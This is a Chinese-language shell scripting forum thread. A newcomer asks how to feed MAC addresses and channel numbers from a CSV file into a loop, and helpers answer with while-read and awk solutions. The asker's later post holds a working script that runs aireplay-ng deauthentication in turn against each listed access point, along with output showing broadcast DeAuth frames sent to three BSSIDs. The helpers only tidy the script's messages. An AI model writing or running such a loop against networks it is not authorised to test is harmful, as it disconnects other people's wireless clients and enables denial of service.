免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 5722 | 回复: 13
打印 上一主题 下一主题

[文本处理] 关于提取csv文件中的指定位置内容 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2015-04-03 07:56 |只看该作者 |倒序浏览
论坛里高人多!新人特来求助!
我想要实现的功能是提取一个csv文件中的多个指定位置的内容并且赋值给变量以方便下面的命令中调用。例子如下,文本的列数确定为3列,行数不定

cat test.csv
11:22:33:44:55:66,7,a
aa:bb:cc:dd:ee:ff,11,b


我想要建立两个数组 MAC[] 和 CH[],将文本中的第一列11:22:33:44:55:66,aa:bb:cc:dd:ee:ff依次存入MAC[],第二列7,11依次存入CH[].
接下来的命令需要用一个for循环依次同时调用两个数组中的元素,执行(行数)次结束,设行数为n(n也是一个变量)
例如:
n=`sed -n '$=' test.csv`
for(i=0;i<$n;i++){
  airodump-ng -a MAC[i] -c CH[i] eth0
                             }

我是初次接触shell,之前对java略略懂一些,所以for循环还是按照java的习惯写的,希望各位大大能明白我的意思...重点在于下面的命令中要能调用数组中存的东西。

求高人指点迷津!


论坛徽章:
23
15-16赛季CBA联赛之吉林
日期:2017-12-21 16:39:27白羊座
日期:2014-10-27 11:14:37申猴
日期:2014-10-23 08:36:23金牛座
日期:2014-09-30 08:26:49午马
日期:2014-09-29 09:40:16射手座
日期:2014-11-25 08:56:112015年辞旧岁徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:49:0315-16赛季CBA联赛之山东
日期:2017-12-21 16:39:1915-16赛季CBA联赛之广东
日期:2016-01-19 13:33:372015亚冠之山东鲁能
日期:2015-10-13 09:39:062015亚冠之西悉尼流浪者
日期:2015-09-21 08:27:57
2 [报告]
发表于 2015-04-03 08:58 |只看该作者
本帖最后由 ly5066113 于 2015-04-03 09:02 编辑

回复 1# AParanoia


try:
  1. #! /bin/bash

  2. OLDIFS="$IFS"
  3. IFS=,
  4. while read MAC NUM CH
  5. do
  6.         airodump-ng -a $MAC -c $CH eth0
  7. done < test.csv
  8. IFS="$OLDIFS"
复制代码
OR
  1. awk -F, '{print "airodump-ng -a "$1" -c "$3" eth0"}' file | sh
复制代码

论坛徽章:
30
申猴
日期:2014-04-10 09:43:532015年亚洲杯纪念徽章
日期:2015-03-20 14:40:232015亚冠之阿尔纳斯尔
日期:2015-06-02 18:59:042015亚冠之阿尔希拉尔
日期:2015-06-30 15:22:572015亚冠之大阪钢巴
日期:2015-07-20 10:44:332015亚冠之阿尔纳斯尔
日期:2015-10-28 14:57:5215-16赛季CBA联赛之新疆
日期:2015-12-25 10:18:45黑曼巴
日期:2016-06-26 21:39:5315-16赛季CBA联赛之山西
日期:2016-07-25 21:54:2715-16赛季CBA联赛之北京
日期:2016-10-27 12:07:2315-16赛季CBA联赛之八一
日期:2017-07-07 16:39:0915-16赛季CBA联赛之吉林
日期:2017-09-04 12:14:43
3 [报告]
发表于 2015-04-03 09:00 |只看该作者
  1. awk -F, '{MAC[++i]=$1;CH[i]=$2}END{for (i=1;i<=NR;i++) print "airodump-ng -a " MAC[i] " -c " CH[i] " eth0"}' file
  2. airodump-ng -a 11:22:33:44:55:66 -c 7 eth0
  3. airodump-ng -a aa:bb:cc:dd:ee:ff -c 11 eth0
复制代码
回复 1# AParanoia


   

论坛徽章:
28
2015年迎新春徽章
日期:2015-03-04 10:16:53午马
日期:2015-03-20 17:11:07亥猪
日期:2015-03-20 17:11:23戌狗
日期:2015-03-20 17:11:33酉鸡
日期:2015-03-20 17:11:47申猴
日期:2015-03-20 17:11:58未羊
日期:2015-03-20 17:12:10子鼠
日期:2015-03-20 17:12:23丑牛
日期:2015-03-20 17:12:40卯兔
日期:2015-03-20 17:12:51辰龙
日期:2015-03-20 17:13:00巳蛇
日期:2015-03-20 17:13:12
4 [报告]
发表于 2015-04-03 09:24 |只看该作者
想复杂了.楼上两位的简单...

论坛徽章:
0
5 [报告]
发表于 2015-04-03 09:42 |只看该作者
回复 2# ly5066113
谢谢!这个方法真好,看来是我太低端了,根本不用数组就可以实现,将命令做进循环里。学习了!


   

论坛徽章:
0
6 [报告]
发表于 2015-04-03 09:43 |只看该作者
回复 3# zxy877298415
谢谢您,这个也可以实现,比我想的要简单很多!学习了!

   

论坛徽章:
0
7 [报告]
发表于 2015-04-03 12:48 |只看该作者
回复 2# ly5066113
高人您好,我还想再追问一个问题,就是如何才能在脚本中使用kill <pid> 的时候 不触发终端的terminated显示呢...我试过重定向到垃圾桶,但还是不行..会出现如下的提示:

./test.sh: line 14:  3600 Terminated    cmd

(cmd 是被kill的那个命令)
请问能不能不让他输出这个提示呢?多谢指点!



   

论坛徽章:
23
15-16赛季CBA联赛之吉林
日期:2017-12-21 16:39:27白羊座
日期:2014-10-27 11:14:37申猴
日期:2014-10-23 08:36:23金牛座
日期:2014-09-30 08:26:49午马
日期:2014-09-29 09:40:16射手座
日期:2014-11-25 08:56:112015年辞旧岁徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:49:0315-16赛季CBA联赛之山东
日期:2017-12-21 16:39:1915-16赛季CBA联赛之广东
日期:2016-01-19 13:33:372015亚冠之山东鲁能
日期:2015-10-13 09:39:062015亚冠之西悉尼流浪者
日期:2015-09-21 08:27:57
8 [报告]
发表于 2015-04-03 12:59 |只看该作者
回复 7# AParanoia


yourcmd >/dev/null 2>&1

论坛徽章:
0
9 [报告]
发表于 2015-04-03 13:21 |只看该作者
回复 8# ly5066113
谢谢您的回复,可是我原先的cmd还要提取一个pid出来用于kill,加上这个就不知道怎么写了。另外一个情况是,这个cmd的输出结果我是要的,只是不想要被kill掉后冒出来的terminated 这句,可能说的不是很清楚,附上脚本和结果在下面。红字部分是我不想显示的,其他部分都要保留,另外在红色行中的line 13我不太清楚是指的第几行,如果是done < test.sh那行的话,可以通过调整那行来屏蔽掉这个terminated的显示么?

问题比较多,给您添麻烦了,谢谢赐教!

脚本:
#!/bin/sh
OLDIFS="$IFS"
IFS=,
while read MAC CH ESSID
do
echo ""
        iwconfig mon0 channel $CH
        aireplay-ng --deauth 0 -a $MAC mon0 &
        pid=$!
        sleep 3s
        kill -TERM $pid

done < test.csv
IFS="$OLDIFS"
结果:
[root@localhost user]# ./test.sh

01:09:56  Waiting for beacon frame (BSSID: F8:E4:FB:9D:C6:90) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
01:09:57  Sending DeAuth to broadcast -- BSSID: [F8:E4:FB:9D:C6:90]
01:09:57  Sending DeAuth to broadcast -- BSSID: [F8:E4:FB:9D:C6:90]
01:09:58  Sending DeAuth to broadcast -- BSSID: [F8:E4:FB:9D:C6:90]
01:09:58  Sending DeAuth to broadcast -- BSSID: [F8:E4:FB:9D:C6:90]
01:09:59  Sending DeAuth to broadcast -- BSSID: [F8:E4:FB:9D:C6:90]
01:09:59  Sending DeAuth to broadcast -- BSSID: [F8:E4:FB:9D:C6:90]

./test.sh: line 13:  4307 Terminated              aireplay-ng --deauth 0 -a $MAC mon0
01:10:00  Waiting for beacon frame (BSSID: 00:7F:28:6D:53:8C) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
01:10:00  Sending DeAuth to broadcast -- BSSID: [00:7F:28:6D:53:8C]
01:10:01  Sending DeAuth to broadcast -- BSSID: [00:7F:28:6D:53:8C]
01:10:01  Sending DeAuth to broadcast -- BSSID: [00:7F:28:6D:53:8C]
01:10:02  Sending DeAuth to broadcast -- BSSID: [00:7F:28:6D:53:8C]
01:10:02  Sending DeAuth to broadcast -- BSSID: [00:7F:28:6D:53:8C]
01:10:03  Sending DeAuth to broadcast -- BSSID: [00:7F:28:6D:53:8C]

./test.sh: line 13:  4317 Terminated              aireplay-ng --deauth 0 -a $MAC mon0
01:10:03  Waiting for beacon frame (BSSID: 58:23:8C:3B:FE:4D) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
01:10:03  Sending DeAuth to broadcast -- BSSID: [58:23:8C:3B:FE:4D]
01:10:04  Sending DeAuth to broadcast -- BSSID: [58:23:8C:3B:FE:4D]
01:10:04  Sending DeAuth to broadcast -- BSSID: [58:23:8C:3B:FE:4D]
01:10:05  Sending DeAuth to broadcast -- BSSID: [58:23:8C:3B:FE:4D]
01:10:05  Sending DeAuth to broadcast -- BSSID: [58:23:8C:3B:FE:4D]
01:10:06  Sending DeAuth to broadcast -- BSSID: [58:23:8C:3B:FE:4D]
[root@localhost cs6547]#


   

论坛徽章:
23
15-16赛季CBA联赛之吉林
日期:2017-12-21 16:39:27白羊座
日期:2014-10-27 11:14:37申猴
日期:2014-10-23 08:36:23金牛座
日期:2014-09-30 08:26:49午马
日期:2014-09-29 09:40:16射手座
日期:2014-11-25 08:56:112015年辞旧岁徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:49:0315-16赛季CBA联赛之山东
日期:2017-12-21 16:39:1915-16赛季CBA联赛之广东
日期:2016-01-19 13:33:372015亚冠之山东鲁能
日期:2015-10-13 09:39:062015亚冠之西悉尼流浪者
日期:2015-09-21 08:27:57
10 [报告]
发表于 2015-04-03 13:44 |只看该作者
回复 9# AParanoia


kill -TERM $pid >/dev/null 2>&1
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP